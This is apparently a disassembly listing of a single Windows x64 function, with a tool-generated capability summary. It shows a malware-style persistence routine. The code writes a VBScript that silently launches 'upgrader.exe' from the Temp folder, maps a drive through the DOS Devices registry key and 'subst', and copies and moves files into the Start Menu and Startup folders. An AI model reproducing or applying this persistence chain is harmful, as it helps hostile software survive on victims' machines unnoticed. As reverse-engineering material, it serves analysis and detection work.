Function at 0x14000a8f0
Capabilities:
Check if file exists
Copy file
Get common file path
Get startup folder
Move file
Set registry value
Write file to startup folder

Disassembly:
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x8e0]
sub rsp, 0x9e0
mov qword [rbp + 0x160], 0xfffffffffffffffe
mov qword [rsp + 0xa10], rbx
call fcn.14000a140
lea rcx, [rbp - 8]
call fcn.14000a770
nop
lea rdx, [rbp + 0x6d0]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
jne 0x14000a95c
lea rdx, [0x14004d630]
lea rcx, [0x14005ab50]
call fcn.1400114b0
mov rcx, rax
call fcn.140009ff0
nop
jmp 0x14000b6ef
lea r8, [0x14004d668]
lea rdx, [rbp - 8]
lea rcx, [rbp + 0x70]
call fcn.140011710
cmp qword [rax + 0x18], 8
jb 0x14000a97a
mov rax, qword [rax]
mov r8, rax
lea rdx, [rbp + 0x6d0]
lea rcx, [rbp + 0x2b0]
call qword [sym.imp.SHLWAPI.dll_PathCombineW]
test rax, rax
sete dil
cmp qword [rbp + 0x88], 8
jb 0x14000a9ab
mov rcx, qword [rbp + 0x70]
call fcn.140023d50
test dil, dil
je 0x14000a9d1
lea rdx, [0x14004d678]
lea rcx, [0x14005ab50]
call fcn.1400114b0
mov rcx, rax
call fcn.140009ff0
nop
jmp 0x14000b6ef
mov qword [rsp + 0x70], 7
xor esi, esi
mov qword [rsp + 0x68], rsi
mov word [rsp + 0x58], si
lea r8d, [rsi + 0x62]
lea rdx, str.set_wsWScript.CreateObject__WScript.Shell___nws.Run___HomePath_AppDataLocalTempupgrader.exe__0
lea rcx, [rsp + 0x58]
call fcn.140010e60
nop
lea rdx, [rbp + 0x2b0]
lea rcx, [rbp + 0x170]
call fcn.14000d4e0
nop
mov rax, qword [rbp + 0x170]
movsxd rcx, dword [rax + 4]
test byte [rbp + rcx + 0x180], 6
je 0x14000aae8
lea rdx, str.Failed_to_open_file:
lea rcx, [0x14005ab50]
call fcn.1400114b0
mov rcx, rax
lea rdx, [rbp + 0x2b0]
call fcn.1400114b0
mov rcx, rax
call fcn.140009ff0
nop
lea rax, [rbp + 0x218]
mov qword [rbp + 0x908], rax
mov rax, qword [rbp + 0x170]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_wchar_t__struct_std::char_traits_wchar_t__.0
mov qword [rbp + rcx + 0x170], rax
lea rcx, [rbp + 0x178]
call fcn.14000d5f0
nop
mov rax, qword [rbp + 0x170]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__.0
mov qword [rbp + rcx + 0x170], rax
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x218], rax
lea rcx, [rbp + 0x218]
call fcn.14003e0b0
nop
cmp qword [rsp + 0x70], 8
jb 0x14000aad0
mov rcx, qword [rsp + 0x58]
call fcn.140023d50
mov qword [rsp + 0x70], 7
mov qword [rsp + 0x68], rsi
mov word [rsp + 0x58], si
jmp 0x14000b6ef
lea rdx, [rsp + 0x58]
lea rcx, [rbp + 0x170]
call fcn.1400117f0
lea rcx, [rbp + 0x178]
call fcn.14000ffa0
test rax, rax
jne 0x14000ab35
mov rax, qword [rbp + 0x170]
movsxd rcx, dword [rax + 4]
lea rcx, [rbp + rcx + 0x170]
mov edx, dword [rcx + 0x10]
or edx, 2
cmp qword [rcx + 0x48], 0
jne 0x14000ab2d
or edx, 4
xor r8d, r8d
call fcn.140002ee0
mov qword [rsp + 0x48], 7
mov qword [rsp + 0x40], rsi
mov word [rsp + 0x30], si
mov r8d, 2
lea rdx, [0x14004d6a8]
lea rcx, [rsp + 0x30]
call fcn.140010e60
nop
lea r8, [0x14004d7a8]
lea rdx, [rbp - 8]
lea rcx, [rbp - 0x80]
call fcn.140011710
nop
lea rax, [rbp + 0x4c0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 0x1a]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
je 0x14000ac33
lea rdx, str.Failed_to_get_AppData_path.
lea rcx, [0x14005ab50]
call fcn.1400114b0
mov rcx, rax
call fcn.140009ff0
nop
cmp qword [rbp - 0x68], 8
jb 0x14000abc7
mov rcx, qword [rbp - 0x80]
call fcn.140023d50
mov qword [rbp - 0x68], 7
mov qword [rbp - 0x70], rsi
mov word [rbp - 0x80], si
cmp qword [rsp + 0x48], 8
jb 0x14000abe9
mov rcx, qword [rsp + 0x30]
call fcn.140023d50
mov qword [rsp + 0x48], 7
mov qword [rsp + 0x40], rsi
mov word [rsp + 0x30], si
lea rcx, [rbp + 0x170]
call fcn.14000b720
nop
cmp qword [rsp + 0x70], 8
jb 0x14000ac1b
mov rcx, qword [rsp + 0x58]
call fcn.140023d50
mov qword [rsp + 0x70], 7
mov qword [rsp + 0x68], rsi
mov word [rsp + 0x58], si
jmp 0x14000b6ef
mov qword [rbp + 0xd8], 7
mov qword [rbp + 0xd0], rsi
mov word [rbp + 0xc0], si
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rbp + 0x4c0]
repne scasw ax, word [rdi]
not rcx
lea r8, [rcx - 1]
lea rdx, [rbp + 0x4c0]
lea rcx, [rbp + 0xc0]
call fcn.140010e60
nop
lea r8, str.MicrosoftWindowsStart_MenuPrograms
lea rdx, [rbp + 0xc0]
lea rcx, [rbp - 0x58]
call fcn.140011440
nop
cmp qword [rbp + 0xd8], 8
jb 0x14000aca5
mov rcx, qword [rbp + 0xc0]
call fcn.140023d50
mov qword [rbp + 0xd8], 7
mov qword [rbp + 0xd0], rsi
mov word [rbp + 0xc0], si
lea r8, [0x14004d57c]
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x70]
call fcn.140011710
nop
lea r8, [rbp - 0x80]
mov rdx, rax
lea rcx, [rbp + 0x48]
call fcn.140011a40
cmp qword [rax + 0x18], 8
jb 0x14000acee
mov rax, qword [rax]
mov rcx, rax
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
mov edi, eax
cmp qword [rbp + 0x60], 8
jb 0x14000ad09
mov rcx, qword [rbp + 0x48]
call fcn.140023d50
mov qword [rbp + 0x60], 7
mov qword [rbp + 0x58], rsi
mov word [rbp + 0x48], si
cmp qword [rbp + 0x88], 8
jb 0x14000ad2c
mov rcx, qword [rbp + 0x70]
call fcn.140023d50
test edi, edi
je 0x14000adec
lea rdx, str.File_already_exists_on_new_disk.
lea rcx, [0x14005ab50]
call fcn.1400114b0
mov rcx, rax
call fcn.140009ff0
nop
cmp qword [rbp - 0x40], 8
jb 0x14000ad60
mov rcx, qword [rbp - 0x58]
call fcn.140023d50
mov qword [rbp - 0x40], 7
mov qword [rbp - 0x48], rsi
mov word [rbp - 0x58], si
cmp qword [rbp - 0x68], 8
jb 0x14000ad80
mov rcx, qword [rbp - 0x80]
call fcn.140023d50
mov qword [rbp - 0x68], 7
mov qword [rbp - 0x70], rsi
mov word [rbp - 0x80], si
cmp qword [rsp + 0x48], 8
jb 0x14000ada2
mov rcx, qword [rsp + 0x30]
call fcn.140023d50
mov qword [rsp + 0x48], 7
mov qword [rsp + 0x40], rsi
mov word [rsp + 0x30], si
lea rcx, [rbp + 0x170]
call fcn.14000b720
nop
cmp qword [rsp + 0x70], 8
jb 0x14000add4
mov rcx, qword [rsp + 0x58]
call fcn.140023d50
mov qword [rsp + 0x70], 7
mov qword [rsp + 0x68], rsi
mov word [rsp + 0x58], si
jmp 0x14000b6ef
lea r8, [0x14004d888]
lea rdx, [rbp - 0x58]
lea rcx, [rbp + 0x70]
call fcn.140011710
nop
lea r8, [rbp - 0x80]
mov rdx, rax
lea rcx, [rbp + 0x48]
call fcn.140011a40
cmp qword [rax + 0x18], 8
jb 0x14000ae1b
mov rax, qword [rax]
mov rcx, rax
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
mov edi, eax
cmp qword [rbp + 0x60], 8
jb 0x14000ae36
mov rcx, qword [rbp + 0x48]
call fcn.140023d50
mov qword [rbp + 0x60], 7
mov qword [rbp + 0x58], rsi
mov word [rbp + 0x48], si
cmp qword [rbp + 0x88], 8
jb 0x14000ae59
mov rcx, qword [rbp + 0x70]
call fcn.140023d50
test edi, edi
je 0x14000af19
lea rdx, str.File_already_exists_in_startup.
lea rcx, [0x14005ab50]
call fcn.1400114b0
mov rcx, rax
call fcn.140009ff0
nop
cmp qword [rbp - 0x40], 8
jb 0x14000ae8d
mov rcx, qword [rbp - 0x58]
call fcn.140023d50
mov qword [rbp - 0x40], 7
mov qword [rbp - 0x48], rsi
mov word [rbp - 0x58], si
cmp qword [rbp - 0x68], 8
jb 0x14000aead
mov rcx, qword [rbp - 0x80]
call fcn.140023d50
mov qword [rbp - 0x68], 7
mov qword [rbp - 0x70], rsi
mov word [rbp - 0x80], si
cmp qword [rsp + 0x48], 8
jb 0x14000aecf
mov rcx, qword [rsp + 0x30]
call fcn.140023d50
mov qword [rsp + 0x48], 7
mov qword [rsp + 0x40], rsi
mov word [rsp + 0x30], si
lea rcx, [rbp + 0x170]
call fcn.14000b720
nop
cmp qword [rsp + 0x70], 8
jb 0x14000af01
mov rcx, qword [rsp + 0x58]
call fcn.140023d50
mov qword [rsp + 0x70], 7
mov qword [rsp + 0x68], rsi
mov word [rsp + 0x58], si
jmp 0x14000b6ef
lea r8, [rbp - 0x58]
lea rdx, [0x14004d8e0]
lea rcx, [rbp - 0x30]
call fcn.140011aa0
nop
lea rax, [rbp + 0x900]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
lea rdx, str.SYSTEMCurrentControlSetControlSession_ManagerDOS_Devices
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x14000b037
lea rdx, str.Failed_to_open_registry_key.
lea rcx, [0x14005ab50]
call fcn.1400114b0
mov rcx, rax
call fcn.140009ff0
nop
cmp qword [rbp - 0x18], 8
jb 0x14000af8b
mov rcx, qword [rbp - 0x30]
call fcn.140023d50
mov qword [rbp - 0x18], 7
mov qword [rbp - 0x20], rsi
mov word [rbp - 0x30], si
cmp qword [rbp - 0x40], 8
jb 0x14000afab
mov rcx, qword [rbp - 0x58]
call fcn.140023d50
mov qword [rbp - 0x40], 7
mov qword [rbp - 0x48], rsi
mov word [rbp - 0x58], si
cmp qword [rbp - 0x68], 8
jb 0x14000afcb
mov rcx, qword [rbp - 0x80]
call fcn.140023d50
mov qword [rbp - 0x68], 7
mov qword [rbp - 0x70], rsi
mov word [rbp - 0x80], si
cmp qword [rsp + 0x48], 8
jb 0x14000afed
mov rcx, qword [rsp + 0x30]
call fcn.140023d50
mov qword [rsp + 0x48], 7
mov qword [rsp + 0x40], rsi
mov word [rsp + 0x30], si
lea rcx, [rbp + 0x170]
call fcn.14000b720
nop
cmp qword [rsp + 0x70], 8
jb 0x14000b01f
mov rcx, qword [rsp + 0x58]
call fcn.140023d50
mov qword [rsp + 0x70], 7
mov qword [rsp + 0x68], rsi
mov word [rsp + 0x58], si
jmp 0x14000b6ef
lea rcx, [rbp - 0x30]
cmp qword [rbp - 0x18], 8
cmovae rcx, qword [rbp - 0x30]
lea rdx, [rsp + 0x30]
cmp qword [rsp + 0x48], 8
cmovae rdx, qword [rsp + 0x30]
mov eax, dword [rbp - 0x20]
lea eax, [rax + rax + 2]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
mov r9d, 1
xor r8d, r8d
mov rcx, qword [rbp + 0x900]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp + 0x900]
test eax, eax
je 0x14000b169
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rdx, str.Failed_to_set_registry_value.
lea rcx, [0x14005ab50]
call fcn.1400114b0
mov rcx, rax
call fcn.140009ff0
nop
cmp qword [rbp - 0x18], 8
jb 0x14000b0bd
mov rcx, qword [rbp - 0x30]
call fcn.140023d50
mov qword [rbp - 0x18], 7
mov qword [rbp - 0x20], rsi
mov word [rbp - 0x30], si
cmp qword [rbp - 0x40], 8
jb 0x14000b0dd
mov rcx, qword [rbp - 0x58]
call fcn.140023d50
mov qword [rbp - 0x40], 7
mov qword [rbp - 0x48], rsi
mov word [rbp - 0x58], si
cmp qword [rbp - 0x68], 8
jb 0x14000b0fd
mov rcx, qword [rbp - 0x80]
call fcn.140023d50
mov qword [rbp - 0x68], 7
mov qword [rbp - 0x70], rsi
mov word [rbp - 0x80], si
cmp qword [rsp + 0x48], 8
jb 0x14000b11f
mov rcx, qword [rsp + 0x30]
call fcn.140023d50
mov qword [rsp + 0x48], 7
mov qword [rsp + 0x40], rsi
mov word [rsp + 0x30], si
lea rcx, [rbp + 0x170]
call fcn.14000b720
nop
cmp qword [rsp + 0x70], 8
jb 0x14000b151
mov rcx, qword [rsp + 0x58]
call fcn.140023d50
mov qword [rsp + 0x70], 7
mov qword [rsp + 0x68], rsi
mov word [rsp + 0x58], si
jmp 0x14000b6ef
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea r8, [rsp + 0x30]
lea rdx, str.subst
lea rcx, [rbp + 0x138]
call fcn.140011aa0
nop
lea r8, [0x14004d9ec]
mov rdx, rax
lea rcx, [rbp + 0x110]
call fcn.140011440
nop
lea r8, [rbp - 0x58]
mov rdx, rax
lea rcx, [rbp + 0x48]
call fcn.140011a40
nop
lea r8, [0x14004d58c]
mov rdx, rax
lea rcx, [rbp + 0x20]
call fcn.140011440
nop
cmp qword [rbp + 0x60], 8
jb 0x14000b1d4
mov rcx, qword [rbp + 0x48]
call fcn.140023d50
mov qword [rbp + 0x60], 7
mov qword [rbp + 0x58], rsi
mov word [rbp + 0x48], si
cmp qword [rbp + 0x128], 8
jb 0x14000b1fa
mov rcx, qword [rbp + 0x110]
call fcn.140023d50
mov qword [rbp + 0x128], 7
mov qword [rbp + 0x120], rsi
mov word [rbp + 0x110], si
cmp qword [rbp + 0x150], 8
jb 0x14000b229
mov rcx, qword [rbp + 0x138]
call fcn.140023d50
mov qword [rbp + 0x150], 7
mov qword [rbp + 0x148], rsi
mov word [rbp + 0x138], si
lea rcx, [rbp + 0x20]
cmp qword [rbp + 0x38], 8
cmovae rcx, qword [rbp + 0x20]
call fcn.140026a38
lea r8, [0x14004d59c]
lea rdx, [rbp - 0x58]
lea rcx, [rbp + 0x70]
call fcn.140011710
nop
lea r8, [rbp - 0x80]
mov rdx, rax
lea rcx, [rbp + 0x98]
call fcn.140011a40
cmp qword [rax + 0x18], 8
jb 0x14000b287
mov rax, qword [rax]
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x2b0]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
sete dil
cmp qword [rbp + 0xb0], 8
jb 0x14000b2b6
mov rcx, qword [rbp + 0x98]
call fcn.140023d50
mov qword [rbp + 0xb0], 7
mov qword [rbp + 0xa8], rsi
mov word [rbp + 0x98], si
cmp qword [rbp + 0x88], 8
jb 0x14000b2e2
mov rcx, qword [rbp + 0x70]
call fcn.140023d50
test dil, dil
je 0x14000b3e3
lea rdx, str.Failed_to_copy_file_to_programs_directory.
lea rcx, [0x14005ab50]
call fcn.1400114b0
mov rcx, rax
call fcn.140009ff0
nop
cmp qword [rbp + 0x38], 8
jb 0x14000b317
mov rcx, qword [rbp + 0x20]
call fcn.140023d50
mov qword [rbp + 0x38], 7
mov qword [rbp + 0x30], rsi
mov word [rbp + 0x20], si
cmp qword [rbp - 0x18], 8
jb 0x14000b337
mov rcx, qword [rbp - 0x30]
call fcn.140023d50
mov qword [rbp - 0x18], 7
mov qword [rbp - 0x20], rsi
mov word [rbp - 0x30], si
cmp qword [rbp - 0x40], 8
jb 0x14000b357
mov rcx, qword [rbp - 0x58]
call fcn.140023d50
mov qword [rbp - 0x40], 7
mov qword [rbp - 0x48], rsi
mov word [rbp - 0x58], si
cmp qword [rbp - 0x68], 8
jb 0x14000b377
mov rcx, qword [rbp - 0x80]
call fcn.140023d50
mov qword [rbp - 0x68], 7
mov qword [rbp - 0x70], rsi
mov word [rbp - 0x80], si
cmp qword [rsp + 0x48], 8
jb 0x14000b399
mov rcx, qword [rsp + 0x30]
call fcn.140023d50
mov qword [rsp + 0x48], 7
mov qword [rsp + 0x40], rsi
mov word [rsp + 0x30], si
lea rcx, [rbp + 0x170]
call fcn.14000b720
nop
cmp qword [rsp + 0x70], 8
jb 0x14000b3cb
mov rcx, qword [rsp + 0x58]
call fcn.140023d50
mov qword [rsp + 0x70], 7
mov qword [rsp + 0x68], rsi
mov word [rsp + 0x58], si
jmp 0x14000b6ef
lea r8, str.Startup_
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x280]
call fcn.140011710
nop
lea r8, [rbp - 0x80]
mov rdx, rax
lea rcx, [rbp + 0x70]
call fcn.140011a40
mov rbx, rax
lea r8, [0x14004d5ec]
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0xe8]
call fcn.140011710
nop
lea r8, [rbp - 0x80]
mov rdx, rax
lea rcx, [rbp + 0x98]
call fcn.140011a40
mov rdi, rax
cmp qword [rbx + 0x18], 8
jb 0x14000b448
mov rbx, qword [rbx]
cmp qword [rax + 0x18], 8
jb 0x14000b452
mov rdi, qword [rax]
call fcn.14000a140
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_MoveFileExW]
test eax, eax
sete dil
cmp qword [rbp + 0xb0], 8
jb 0x14000b485
mov rcx, qword [rbp + 0x98]
call fcn.140023d50
mov qword [rbp + 0xb0], 7
mov qword [rbp + 0xa8], rsi
mov word [rbp + 0x98], si
cmp qword [rbp + 0x100], 8
jb 0x14000b4b4
mov rcx, qword [rbp + 0xe8]
call fcn.140023d50
mov qword [rbp + 0x100], 7
mov qword [rbp + 0xf8], rsi
mov word [rbp + 0xe8], si
cmp qword [rbp + 0x88], 8
jb 0x14000b4e0
mov rcx, qword [rbp + 0x70]
call fcn.140023d50
mov qword [rbp + 0x88], 7
mov qword [rbp + 0x80], rsi
mov word [rbp + 0x70], si
cmp qword [rbp + 0x298], 8
jb 0x14000b50c
mov rcx, qword [rbp + 0x280]
call fcn.140023d50
test dil, dil
je 0x14000b60d
lea rdx, str.Failed_to_move_file_to_startup_directory.
lea rcx, [0x14005ab50]
call fcn.1400114b0
mov rcx, rax
call fcn.14000cdc0
nop
cmp qword [rbp + 0x38], 8
jb 0x14000b541
mov rcx, qword [rbp + 0x20]
call fcn.140023d50
mov qword [rbp + 0x38], 7
mov qword [rbp + 0x30], rsi
mov word [rbp + 0x20], si
cmp qword [rbp - 0x18], 8
jb 0x14000b561
mov rcx, qword [rbp - 0x30]
call fcn.140023d50
mov qword [rbp - 0x18], 7
mov qword [rbp - 0x20], rsi
mov word [rbp - 0x30], si
cmp qword [rbp - 0x40], 8
jb 0x14000b581
mov rcx, qword [rbp - 0x58]
call fcn.140023d50
mov qword [rbp - 0x40], 7
mov qword [rbp - 0x48], rsi
mov word [rbp - 0x58], si
cmp qword [rbp - 0x68], 8
jb 0x14000b5a1
mov rcx, qword [rbp - 0x80]
call fcn.140023d50
mov qword [rbp - 0x68], 7
mov qword [rbp - 0x70], rsi
mov word [rbp - 0x80], si
cmp qword [rsp + 0x48], 8
jb 0x14000b5c3
mov rcx, qword [rsp + 0x30]
call fcn.140023d50
mov qword [rsp + 0x48], 7
mov qword [rsp + 0x40], rsi
mov word [rsp + 0x30], si
lea rcx, [rbp + 0x170]
call fcn.14000b720
nop
cmp qword [rsp + 0x70], 8
jb 0x14000b5f5
mov rcx, qword [rsp + 0x58]
call fcn.140023d50
mov qword [rsp + 0x70], 7
mov qword [rsp + 0x68], rsi
mov word [rsp + 0x58], si
jmp 0x14000b6ef
call fcn.14000a610
call fcn.14000a140
nop
cmp qword [rbp + 0x38], 8
jb 0x14000b628
mov rcx, qword [rbp + 0x20]
call fcn.140023d50
mov qword [rbp + 0x38], 7
mov qword [rbp + 0x30], rsi
mov word [rbp + 0x20], si
cmp qword [rbp - 0x18], 8
jb 0x14000b648
mov rcx, qword [rbp - 0x30]
call fcn.140023d50
mov qword [rbp - 0x18], 7
mov qword [rbp - 0x20], rsi
mov word [rbp - 0x30], si
cmp qword [rbp - 0x40], 8
jb 0x14000b668
mov rcx, qword [rbp - 0x58]
call fcn.140023d50
mov qword [rbp - 0x40], 7
mov qword [rbp - 0x48], rsi
mov word [rbp - 0x58], si
cmp qword [rbp - 0x68], 8
jb 0x14000b688
mov rcx, qword [rbp - 0x80]
call fcn.140023d50
mov qword [rbp - 0x68], 7
mov qword [rbp - 0x70], rsi
mov word [rbp - 0x80], si
cmp qword [rsp + 0x48], 8
jb 0x14000b6aa
mov rcx, qword [rsp + 0x30]
call fcn.140023d50
mov qword [rsp + 0x48], 7
mov qword [rsp + 0x40], rsi
mov word [rsp + 0x30], si
lea rcx, [rbp + 0x170]
call fcn.14000b720
nop
cmp qword [rsp + 0x70], 8
jb 0x14000b6dc
mov rcx, qword [rsp + 0x58]
call fcn.140023d50
mov qword [rsp + 0x70], 7
mov qword [rsp + 0x68], rsi
mov word [rsp + 0x58], si
cmp qword [rbp + 0x10], 8
jb 0x14000b6ff
mov rcx, qword [rbp - 8]
call fcn.140023d50
mov rbx, qword [rsp + 0xa10]
add rsp, 0x9e0
pop rdi
pop rsi
pop rbp
ret